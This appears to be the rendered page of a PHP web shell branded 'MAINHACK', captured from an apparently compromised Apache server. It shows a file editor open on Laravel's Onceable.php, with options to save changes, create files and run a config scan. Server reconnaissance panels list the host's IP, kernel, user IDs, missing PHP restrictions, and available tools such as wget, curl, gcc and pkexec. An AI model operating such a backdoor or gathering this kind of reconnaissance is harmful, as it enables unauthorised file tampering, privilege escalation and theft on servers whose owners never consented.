[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Onceable.php
<?php namespace Illuminate\Support; use Closure; use Laravel\SerializableClosure\Support\ReflectionClosure; class Onceable { /** * Create a new onceable instance. * * @param string $hash * @param object|null $object * @param callable $callable * @return void */ public function __construct( public string $hash, public object|null $object, public $callable ) { // } /** * Tries to create a new onceable instance from the given trace. * * @param array<int, array<string, mixed>> $trace * @return static|null */ public static function tryFromTrace(array $trace, callable $callable) { if (! is_null($hash = static::hashFromTrace($trace, $callable))) { $object = static::objectFromTrace($trace); return new static($hash, $object, $callable); } } /** * Computes the object of the onceable from the given trace, if any. * * @param array<int, array<string, mixed>> $trace * @return object|null */ protected static function objectFromTrace(array $trace) { return $trace[1]['object'] ?? null; } /** * Computes the hash of the onceable from the given trace. * * @param array<int, array<string, mixed>> $trace * @return string|null */ protected static function hashFromTrace(array $trace, callable $callable) { if (str_contains($trace[0]['file'] ?? '', 'eval()\'d code')) { return null; } $uses = array_map( fn (mixed $argument) => is_object($argument) ? spl_object_hash($argument) : $argument, $callable instanceof Closure ? (new ReflectionClosure($callable))->getClosureUsedVariables() : [], ); return md5(sprintf( '%s@%s%s:%s (%s)', $trace[0]['file'], isset($trace[1]['class']) ? ($trace[1]['class'].'@') : '', $trace[1]['function'], $trace[0]['line'], serialize($uses), )); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002